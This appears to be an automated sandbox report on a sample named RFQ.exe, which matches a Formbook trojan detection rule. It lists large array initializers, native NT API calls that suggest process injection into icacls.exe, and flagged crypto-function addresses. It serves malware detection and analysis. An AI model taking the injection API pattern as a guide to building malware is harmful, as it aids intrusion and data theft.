Source: 00000007.00000002.4431863732.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
.NET source code contains very large array initializations
Source: RFQ.exe, DriversSelection.cs Large array initialization: : array initializer size 661782
Source: 0.2.RFQ.exe.2c801f4.7.raw.unpack, SQL.cs Large array initialization: : array initializer size 13797
Source: 0.2.RFQ.exe.73c0000.10.raw.unpack, SQL.cs Large array initialization: : array initializer size 13797
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: RFQ.exe
Contains functionality to call native functions
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0042AA43 NtClose, 5_2_0042AA43
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72B60 NtClose,LdrInitializeThunk, 5_2_01A72B60
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72DF0 NtQuerySystemInformation,LdrInitializeThunk, 5_2_01A72DF0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72C70 NtFreeVirtualMemory,LdrInitializeThunk, 5_2_01A72C70
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A735C0 NtCreateMutant,LdrInitializeThunk, 5_2_01A735C0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A74340 NtSetContextThread, 5_2_01A74340
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A74650 NtSuspendThread, 5_2_01A74650
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72BA0 NtEnumerateValueKey, 5_2_01A72BA0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72B80 NtQueryInformationFile, 5_2_01A72B80
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72BE0 NtQueryValueKey, 5_2_01A72BE0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72BF0 NtAllocateVirtualMemory, 5_2_01A72BF0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72AB0 NtWaitForSingleObject, 5_2_01A72AB0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72AF0 NtWriteFile, 5_2_01A72AF0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72AD0 NtReadFile, 5_2_01A72AD0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72DB0 NtEnumerateKey, 5_2_01A72DB0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72DD0 NtDelayExecution, 5_2_01A72DD0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72D30 NtUnmapViewOfSection, 5_2_01A72D30
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72D00 NtSetInformationFile, 5_2_01A72D00
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72D10 NtMapViewOfSection, 5_2_01A72D10
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72CA0 NtQueryInformationToken, 5_2_01A72CA0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72CF0 NtOpenProcess, 5_2_01A72CF0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72CC0 NtQueryVirtualMemory, 5_2_01A72CC0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72C00 NtQueryInformationProcess, 5_2_01A72C00
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72C60 NtCreateKey, 5_2_01A72C60
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72FA0 NtQuerySection, 5_2_01A72FA0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72FB0 NtResumeThread, 5_2_01A72FB0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72F90 NtProtectVirtualMemory, 5_2_01A72F90
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72FE0 NtCreateFile, 5_2_01A72FE0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72F30 NtCreateSection, 5_2_01A72F30
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72F60 NtCreateProcessEx, 5_2_01A72F60
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72EA0 NtAdjustPrivilegesToken, 5_2_01A72EA0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72E80 NtReadVirtualMemory, 5_2_01A72E80
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72EE0 NtQueueApcThread, 5_2_01A72EE0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A72E30 NtWriteVirtualMemory, 5_2_01A72E30
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A73090 NtSetValueKey, 5_2_01A73090
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A73010 NtOpenDirectoryObject, 5_2_01A73010
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A739B0 NtGetContextThread, 5_2_01A739B0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A73D10 NtOpenProcessToken, 5_2_01A73D10
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A73D70 NtOpenThread, 5_2_01A73D70
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03924340 NtSetContextThread,LdrInitializeThunk, 8_2_03924340
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03924650 NtSuspendThread,LdrInitializeThunk, 8_2_03924650
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922BA0 NtEnumerateValueKey,LdrInitializeThunk, 8_2_03922BA0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 8_2_03922BF0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922BE0 NtQueryValueKey,LdrInitializeThunk, 8_2_03922BE0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922B60 NtClose,LdrInitializeThunk, 8_2_03922B60
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922AD0 NtReadFile,LdrInitializeThunk, 8_2_03922AD0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922AF0 NtWriteFile,LdrInitializeThunk, 8_2_03922AF0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922FB0 NtResumeThread,LdrInitializeThunk, 8_2_03922FB0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922FE0 NtCreateFile,LdrInitializeThunk, 8_2_03922FE0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922F30 NtCreateSection,LdrInitializeThunk, 8_2_03922F30
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922E80 NtReadVirtualMemory,LdrInitializeThunk, 8_2_03922E80
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922EE0 NtQueueApcThread,LdrInitializeThunk, 8_2_03922EE0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922DD0 NtDelayExecution,LdrInitializeThunk, 8_2_03922DD0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922DF0 NtQuerySystemInformation,LdrInitializeThunk, 8_2_03922DF0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922D10 NtMapViewOfSection,LdrInitializeThunk, 8_2_03922D10
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922D30 NtUnmapViewOfSection,LdrInitializeThunk, 8_2_03922D30
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922CA0 NtQueryInformationToken,LdrInitializeThunk, 8_2_03922CA0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922C70 NtFreeVirtualMemory,LdrInitializeThunk, 8_2_03922C70
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922C60 NtCreateKey,LdrInitializeThunk, 8_2_03922C60
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039235C0 NtCreateMutant,LdrInitializeThunk, 8_2_039235C0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039239B0 NtGetContextThread,LdrInitializeThunk, 8_2_039239B0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922B80 NtQueryInformationFile, 8_2_03922B80
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922AB0 NtWaitForSingleObject, 8_2_03922AB0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922F90 NtProtectVirtualMemory, 8_2_03922F90
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922FA0 NtQuerySection, 8_2_03922FA0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922F60 NtCreateProcessEx, 8_2_03922F60
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922EA0 NtAdjustPrivilegesToken, 8_2_03922EA0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922E30 NtWriteVirtualMemory, 8_2_03922E30
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922DB0 NtEnumerateKey, 8_2_03922DB0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922D00 NtSetInformationFile, 8_2_03922D00
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922CC0 NtQueryVirtualMemory, 8_2_03922CC0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922CF0 NtOpenProcess, 8_2_03922CF0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03922C00 NtQueryInformationProcess, 8_2_03922C00
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03923090 NtSetValueKey, 8_2_03923090
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03923010 NtOpenDirectoryObject, 8_2_03923010
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03923D10 NtOpenProcessToken, 8_2_03923D10
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03923D70 NtOpenThread, 8_2_03923D70
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030E7310 NtClose, 8_2_030E7310
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030E7270 NtDeleteFile, 8_2_030E7270
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030E7180 NtReadFile, 8_2_030E7180
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030E7020 NtCreateFile, 8_2_030E7020
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030E7460 NtAllocateVirtualMemory, 8_2_030E7460
Detected potential crypto function
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_01223AC0 0_2_01223AC0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_012278C0 0_2_012278C0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_05180040 0_2_05180040
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_05180DF1 0_2_05180DF1
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_05180E00 0_2_05180E00
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_072E0970 0_2_072E0970
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_072E4BF8 0_2_072E4BF8
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_072E4BF7 0_2_072E4BF7
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_072FD6A8 0_2_072FD6A8
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_077B7718 0_2_077B7718
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_077B97A0 0_2_077B97A0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_077B6DF0 0_2_077B6DF0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_077B55F0 0_2_077B55F0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_077B7C28 0_2_077B7C28
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_077B7C18 0_2_077B7C18
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_077BCA68 0_2_077BCA68
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_077B51B8 0_2_077B51B8
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_08F24638 0_2_08F24638
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_08F2C7F3 0_2_08F2C7F3
Source: C:\Users\user\Desktop\RFQ.exe Code function: 0_2_08F26868 0_2_08F26868
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_004010F8 5_2_004010F8
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0040F883 5_2_0040F883
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_00401100 5_2_00401100
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0040D903 5_2_0040D903
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_004029C0 5_2_004029C0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_004012E0 5_2_004012E0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_004034B0 5_2_004034B0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_00401D08 5_2_00401D08
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_00401D10 5_2_00401D10
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0040251E 5_2_0040251E
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0040F65A 5_2_0040F65A
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0040F663 5_2_0040F663
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0042CE73 5_2_0042CE73
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_004026D0 5_2_004026D0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_00415EFE 5_2_00415EFE
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_0040477F 5_2_0040477F
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_00415F03 5_2_00415F03
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF41A2 5_2_01AF41A2
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01B001AA 5_2_01B001AA
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF81CC 5_2_01AF81CC
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A30100 5_2_01A30100
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADA118 5_2_01ADA118
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AC8158 5_2_01AC8158
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AD2000 5_2_01AD2000
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A4E3F0 5_2_01A4E3F0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01B003E6 5_2_01B003E6
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFA352 5_2_01AFA352
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AC02C0 5_2_01AC02C0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AE0274 5_2_01AE0274
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01B00591 5_2_01B00591
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A40535 5_2_01A40535
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AEE4F6 5_2_01AEE4F6
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AE4420 5_2_01AE4420
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF2446 5_2_01AF2446
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A3C7C0 5_2_01A3C7C0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A40770 5_2_01A40770
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A64750 5_2_01A64750
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A5C6E0 5_2_01A5C6E0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A429A0 5_2_01A429A0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01B0A9A6 5_2_01B0A9A6
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A56962 5_2_01A56962
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A268B8 5_2_01A268B8
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A6E8F0 5_2_01A6E8F0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A4A840 5_2_01A4A840
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A42840 5_2_01A42840
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF6BD7 5_2_01AF6BD7
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFAB40 5_2_01AFAB40
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A3EA80 5_2_01A3EA80
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A58DBF 5_2_01A58DBF
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A3ADE0 5_2_01A3ADE0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A4AD00 5_2_01A4AD00
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADCD1F 5_2_01ADCD1F
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AE0CB5 5_2_01AE0CB5
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A30CF2 5_2_01A30CF2
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A40C00 5_2_01A40C00
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ABEFA0 5_2_01ABEFA0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A4CFE0 5_2_01A4CFE0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A32FC8 5_2_01A32FC8
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A82F28 5_2_01A82F28
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A60F30 5_2_01A60F30
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AE2F30 5_2_01AE2F30
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AB4F40 5_2_01AB4F40
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A52E90 5_2_01A52E90
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFCE93 5_2_01AFCE93
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFEEDB 5_2_01AFEEDB
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFEE26 5_2_01AFEE26
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A40E59 5_2_01A40E59
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A4B1B0 5_2_01A4B1B0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A7516C 5_2_01A7516C
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A2F172 5_2_01A2F172
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01B0B16B 5_2_01B0B16B
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF70E9 5_2_01AF70E9
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFF0E0 5_2_01AFF0E0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AEF0CC 5_2_01AEF0CC
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A470C0 5_2_01A470C0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A8739A 5_2_01A8739A
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF132D 5_2_01AF132D
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A2D34C 5_2_01A2D34C
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A452A0 5_2_01A452A0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AE12ED 5_2_01AE12ED
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A5B2C0 5_2_01A5B2C0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADD5B0 5_2_01ADD5B0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01B095C3 5_2_01B095C3
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF7571 5_2_01AF7571
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFF43F 5_2_01AFF43F
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A31460 5_2_01A31460
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFF7B0 5_2_01AFF7B0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF16CC 5_2_01AF16CC
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A85630 5_2_01A85630
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AD5910 5_2_01AD5910
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A49950 5_2_01A49950
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A5B950 5_2_01A5B950
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A438E0 5_2_01A438E0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AAD800 5_2_01AAD800
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A5FB80 5_2_01A5FB80
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AB5BF0 5_2_01AB5BF0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A7DBF9 5_2_01A7DBF9
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFFB76 5_2_01AFFB76
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01ADDAAC 5_2_01ADDAAC
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A85AA0 5_2_01A85AA0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AE1AA3 5_2_01AE1AA3
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AEDAC6 5_2_01AEDAC6
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AB3A6C 5_2_01AB3A6C
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFFA49 5_2_01AFFA49
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF7A46 5_2_01AF7A46
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A5FDC0 5_2_01A5FDC0
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF7D73 5_2_01AF7D73
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A43D40 5_2_01A43D40
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AF1D5A 5_2_01AF1D5A
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFFCF2 5_2_01AFFCF2
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AB9C32 5_2_01AB9C32
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFFFB1 5_2_01AFFFB1
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A41F92 5_2_01A41F92
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A03FD2 5_2_01A03FD2
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A03FD5 5_2_01A03FD5
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01AFFF09 5_2_01AFFF09
Source: C:\Users\user\Desktop\RFQ.exe Code function: 5_2_01A49EB0 5_2_01A49EB0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039B03E6 8_2_039B03E6
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038FE3F0 8_2_038FE3F0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039AA352 8_2_039AA352
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039702C0 8_2_039702C0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03990274 8_2_03990274
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039B01AA 8_2_039B01AA
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039A41A2 8_2_039A41A2
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039A81CC 8_2_039A81CC
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0398A118 8_2_0398A118
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038E0100 8_2_038E0100
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03978158 8_2_03978158
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03982000 8_2_03982000
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038EC7C0 8_2_038EC7C0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03914750 8_2_03914750
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F0770 8_2_038F0770
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0390C6E0 8_2_0390C6E0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039B0591 8_2_039B0591
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F0535 8_2_038F0535
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0399E4F6 8_2_0399E4F6
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03994420 8_2_03994420
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039A2446 8_2_039A2446
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039A6BD7 8_2_039A6BD7
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039AAB40 8_2_039AAB40
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038EEA80 8_2_038EEA80
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F29A0 8_2_038F29A0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039BA9A6 8_2_039BA9A6
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03906962 8_2_03906962
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038D68B8 8_2_038D68B8
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0391E8F0 8_2_0391E8F0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F2840 8_2_038F2840
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038FA840 8_2_038FA840
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0396EFA0 8_2_0396EFA0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038E2FC8 8_2_038E2FC8
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038FCFE0 8_2_038FCFE0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03910F30 8_2_03910F30
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03992F30 8_2_03992F30
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03932F28 8_2_03932F28
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03964F40 8_2_03964F40
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03902E90 8_2_03902E90
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039ACE93 8_2_039ACE93
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039AEEDB 8_2_039AEEDB
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039AEE26 8_2_039AEE26
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F0E59 8_2_038F0E59
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03908DBF 8_2_03908DBF
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038EADE0 8_2_038EADE0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0398CD1F 8_2_0398CD1F
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038FAD00 8_2_038FAD00
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_03990CB5 8_2_03990CB5
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038E0CF2 8_2_038E0CF2
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F0C00 8_2_038F0C00
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0393739A 8_2_0393739A
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039A132D 8_2_039A132D
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038DD34C 8_2_038DD34C
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038F52A0 8_2_038F52A0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0390B2C0 8_2_0390B2C0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039912ED 8_2_039912ED
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038FB1B0 8_2_038FB1B0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_039BB16B 8_2_039BB16B
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_0392516C 8_2_0392516C
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_038DF172 8_2_038DF172
